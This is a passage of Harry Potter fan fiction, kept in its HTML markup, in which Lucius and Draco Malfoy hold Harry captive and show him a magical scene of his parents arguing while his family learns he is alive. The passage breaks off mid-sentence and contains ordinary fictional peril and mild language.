class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The hooded person laughed, &#8220;Harry,\nHarry, Harry&#8230;&#8221; The man, as Harry figured from the deep voice, said to him, &#8220;Do\nyou even know where you are?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry tried to get up but the pain\nin his shoulder shot threw him faster and he immediately went back to the\nfloor, &#8220;No, but you don&#8217;t look to harmful&#8230; could you give me a hand?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The man started to clap his hands\ntogether in a joking matter, &#8220;My boy, you really need to take a <i>good</i> look around and see where you\nreally are.&#8221; The man laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who are you?&#8221; Harry asked looking\nat the man.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He shook his head, &#8220;I&#8217;m very glad\nyou asked Harry, VERY glad you asked.&#8221; The man gave on last little chuckle\nbefore he unmasked himself</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry let out a yell of rage and\nshock when the man showed his face, &#8220;No! Not you!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris, Ron and Hermione sped home\nfrom the fire scene to tell everyone what they just found out.&nbsp; Chris was driving and Hermione was on the\nback seat covering her eyes from his speeding.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Christopher Steven Potter!&#8221;\nHermione yelled, &#8220;Where on earth did u learn to drive like this!&#8221; She screeched\nas Chris swerved in between two <i>very </i>close\ncars.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dad&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry&#8221; Ron and Chris said at the\nsame time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gasped as she watched her\nson drive, &#8220;I&#8217;ll kill him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron gave a smirk, &#8220;No you won&#8217;t.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How would you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because you always said you would\nbut never did it.&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave him a comforting hand\non the shoulder but only for a second when Chris swerved again in between a row\nof cars&#8230;.<br><br></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;CHRIS!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~`**`~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you doing with me? You\nshould be in Azkaban rotting away!&#8221; Harry yelled as the man tied him to a\nchair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked into the dark gray eyes\nof Lucius Malfoy, his enemy&#8217;s father; the man that should be in Azkaban for\ncasting the Killing curse on Sirius when Harry was only 16.&nbsp;&nbsp; Lucius had him tied tight enough for him to\nstay put but not be in any pain.&nbsp; To\nHarry he had to admit he wasn&#8217;t in pain, except for his shoulder. He was\ncomfortable but he didn&#8217;t show it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The more you try to move the\ntighter it will hold on to you.&#8221; Lucius said with a grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you want with me?&#8221; Harry\nasked threw gritted teeth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I want what all of us former death\neaters want Harry&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t call me Harry&#8230; Potter is fine\nfor you.&#8221; Harry spat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, don&#8217;t interrupt its very\nrude manners.&#8221; Lucius walked up to him and gave him a small baby slap on the\ncheek, &#8220;Bad, bad boy&#8230; mummy and daddy would be so disappointed to see there\nfull grown man acting like a child now would they.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Looks like for reasons not to be\nmentioned their not here now are they?&#8221; Harry said harshly, &#8220;Where&#8217;s your\npathetic thing u call a son?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He will arrive shortly I a sure you\nthat. I&#8217;m sure he&#8217;ll have quite a fit of giggles when he sees the new toy daddy\nhas brought him.&#8221; Lucius took out his wand, &#8220;How does it feel to be sitting\nthere totally unprotected?&#8221; Harry didn&#8217;t answer </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes you should keep your mouth shut\nbecause you won&#8217;t be saying much of anything in a few short hours&#8230;&#8221; Lucius\nwalked over to Harry, &#8220;But for your viewing pleasure I have brewed up a little\nshow for you to watch.&#8221; And he turned Harry to face the wall behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What Harry looked at on that wall\nscared him half to death, he sat there unable to do anything as he looked at a\npicture frame but it was like a movie screen on the inside.&nbsp; He watched hypnotized by what he was looking\nat, it was his parents but they weren&#8217;t happy they were arguing about\nsomething.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; From the door way Lucius waved his\nwand and turned up the volume&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;How could you do this to me!&#8221;\nthe 17-year-old version of Lily Evens yelled, &#8220;Nothing to worry about you said!\n</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t mean to! I swear I took\nthe Root supplement before anything happened!&#8221; James said.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh sure u did, what next? Are you\ngoing to say it&#8217;s not yours!&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I would never do that, especially\nto you! Lily I&#8217;m Sorry I didn&#8217;t mean for this to happen it was only a mistake!</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was a mistake?&#8221; Harry said aloud.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Of course it&#8217;s a mistake! It&#8217;s a\nmistake that I could do something like this! James your ruined my reputation!\nEverything I worked seven years to build up, and it&#8217;s gone in only a few\nhours!&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So your saying it&#8217;s my fault! You\nsleeping with me on your own free will is now my fault?&#8221; James was outraged.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;In a way YES!&#8221; Lily said crossing\nher arms over her chest and leaned against the fireplace in the Gryffindor\nCommon room.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;I can&#8217;t believe you just said\nthat!&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes James I said that! The Great\nJames Potter, any girl would love to get in bed with you, you just happened to\nfall for me first.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;SO this is what it&#8217;s all about&#8230;\nJust because of who I am you slept with me&#8230; Well don&#8217;t I just feel like an ass,\nGreat I&#8217;m glad you got YOUR opportunity.&#8221; Harry&#8217;s father was upset, he looked\nat Lily with hurt eyes; &#8220;You know Lil, your nothing but a TEASE&#8230; I liked you,\nI&#8217;m glad I know I was just the one time deal&#8230;&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lily started to tear, &#8220;I hate you.&#8221;\nShe spat at him, &#8220;I never want to talk to you again.&#8221; She slapped him and left.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good-bye.&#8221; James said then walked\nout the door.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This\nisn&#8217;t my parents&#8230;&#8221; Harry said out loud.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, they are&#8230; and that is what you\nreally are Harry, nothing more than a mistake, a mistake your father happen to\nhave made.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry jumped at the voice, that\nwasn&#8217;t Lucius Malfoy&#8217;s voice.&nbsp; The man\nwalked in front of Harry and put his hands on the arms of his chair. It was\nDraco, his cold gray eyes digging into Harry&#8217;s green ones.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry so desperately wanted to lung\nat him and just hit him, but the ropes kept him put, &#8220;So&#8230; you got me where you\nwanted me, what are you going to do now? What&#8217;s your prize?&#8221; Harry asked with\nso much hate that he swore he saw a hint of fear in Draco&#8217;s eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Draco let go of the chair and walked up\nto the frame, &#8220;Believe it or not that is true, it really happened.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t believe that that&#8217;s real&#8230;\nMy parents loved me and would know my mother sacrificed herself for my life.&#8221;\nHarry tried to jab Malfoy but the ropes tightened his grip and he failed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco laughed at his attempt &#8220;Am I\nwrong when my father happened to tell you that the more you move the tighter\nthe grip on you goes?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry didn&#8217;t answer he just looked\nat Draco with every ounce of hate he had in him.&nbsp; He sat there just looking, &#8220;You never told me why I&#8217;m here and\nwhy you actually want me at all.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Potter how pathetic can you\npossibly get?&#8221; Draco grinned, &#8220;There are two reasons your hear.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are they?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;One because Potter, I&#8217;ve hatted you\nsince I was 11 and I&#8217;m only going to do what my Master never could.&#8221; Draco said\npouring a glass of fire whisky.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Two?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well that&#8217;s easy, two would be the\nfact that your son is with my daughter and the simple fact that she is at your\nhouse this very second.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~`**`~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris, Ron, and Hermione had reached\nthe driveway; Ron didn&#8217;t even wait until the car stopped when he jumped out of\nthe car and towards the house.&nbsp; Chris\nquickly stopped the car and turned it off when he and Hermione got out and ran\nto the house.&nbsp; They reached the door and\nburst in looking at everyone in the room.&nbsp;\nJames and Mandy were asleep on Nick and Brandon who were dozing off as\nwell.&nbsp; Ste and Kat were sitting in the\nfloor just relaxing and talking about school.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No one looked up until Chris closed\nthe door.&nbsp; Kat looked up and stood seeing\nthat he had a <i>SMILE</i> on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Chris, what happened?&#8221; She asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At this all the boys got up and\nlooked at the three standing there not upset at all.&nbsp; Brandon lightly shifted James off his lap and walked over to his\nbrother, &#8220;What happened?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled, as she knew that\nbefore anyone else Brandon should know first, &#8220;Chris take him into the other\nroom and tell him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris smiled and he lifted his\nbrother in the air into the next room. Then not even two seconds later everyone\nheard Brandon yell &#8216;HOLY SHIT!&#8217; he came running out into the living room, &#8220;My\nFather is ALIVE!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was crying seeing this, it\nwas so long where she had been threw this kind of situation and here she is\nagain.&nbsp; Ron put a hand on her shoulder,\n&#8220;Don&#8217;t worry Herms, were going to find him and who ever took him will pay.&#8221; Ron\nassured her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione walked away and up the\nstairs, listening to the happy cheers and the cries of joy form everyone down\nstairs she couldn&#8217;t take it.&nbsp; She headed\nto her room and sat on her bed and started to cry. She looked at the picture on\nher nightstand that was of he and Harry on their trip to Egypt.&nbsp; It was such a surprise considering Hermione\nwanted to ever since Ron went when he was thirteen.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh God please let him be safe.&#8221;\nHermione preyed as she closed her eyes; &#8220;I can&#8217;t lose him, not like I almost\ndid once.&#8221; There was a soft knock on her door.&nbsp;\nShe wiped her tears away she answered, &#8220;Come in.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The door opened and Ron walked in,\n&#8220;Hey Mione, you ok?&#8221; He was concerned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, It&#8217;s just weird to see all\nthis&#8230; it&#8217;s been so long since something like this has happened.&#8221; Hermione wiped\na tear away from her cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron gave her a hug, &#8220;I know, but\nthink of it like old times&#8230; it might have been scary but we came threw alive\nand well kind of safe.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She nodded, &#8220;Yeah Madam Pomfrey was\nprobably jumping for joy when we graduated.&#8221; She let out a small laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Lets hope where ever he is he&#8217;s not\nout of touch.&#8221; Hermione placed her head on Ron&#8217;s shoulder and closed her eyes.\nRon sat there and stoked her head as she closed her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Downstairs Chris was sitting on the\ncouch with Kat on his lap; Ste was sleeping on the floor next to the fire and\nBrandon and the rest of his friends went up stairs to bed&#8230; it was now 12:45 and\nChris just sat there with her on top of him rubbing her stomach.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m worried.&#8221; Chris said in a low\ntone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kat looked at him. &#8220;Why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My father doesn&#8217;t have his wand on\nhim so that might be a problem for where ever he is&#8230;&#8221; Chris explained</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She took his hand, &#8220;How do you\nknow?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I found in under his seat in the\ncar when we were at the fire.&#8221; Chris explained</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well he&#8217;ll be ok, he&#8217;s strong.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I know, but something is telling me\nthat something is going to happen.&#8221; He kissed Kat softly and lay back on the\ncouch and he closed his eyes and soon found himself drifting into sleep, Kat\nsoon following.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">~`*`~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sat there; he was tired and\nhungry.&nbsp; Draco was sitting on the couch\nbehind him waiting patiently for him to calm down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, I&#8217;ve been thinking.&#8221; He started.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wow! When did that start?&#8221; Harry\nsaid sarcastically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;&#8230; As I was saying,&#8221; He went on\nignoring Harry&#8217;s comment. &#8220;I have a proposition for you, and I&#8217;m happy to give\nyou two choices.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sat there; he was too tired to\nhear him talk, &#8220;What is two the highest you can count?&#8221;&nbsp; All he wanted to do was get out of there and\nhome, &#8220;Why are you doing this to me Malfoy? It&#8217;s been too long to start old\nschool rivalries.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco got up and looked at him,\n&#8220;Your bastard took my daughter away from me!&#8221; Draco stuck him in the face.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Draco,&#8221; Harry said, calmly looking\nat Draco, &#8220;Why should you care, all you would do is beat her.&#8221; That comment\ncaused another blow to the face.&nbsp; Harry\nthen jolted in the chair but the VERY tight binding on him where cutting circulation\nin his body made him stop moving.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You see Potter,&#8221; Draco got very\nclose to Harry&#8217;s face, &#8220;She may not be what I wanted in a child but she&#8217;s mine\nand the only living memory of her mother, who I have to say is the only person\nI could ever 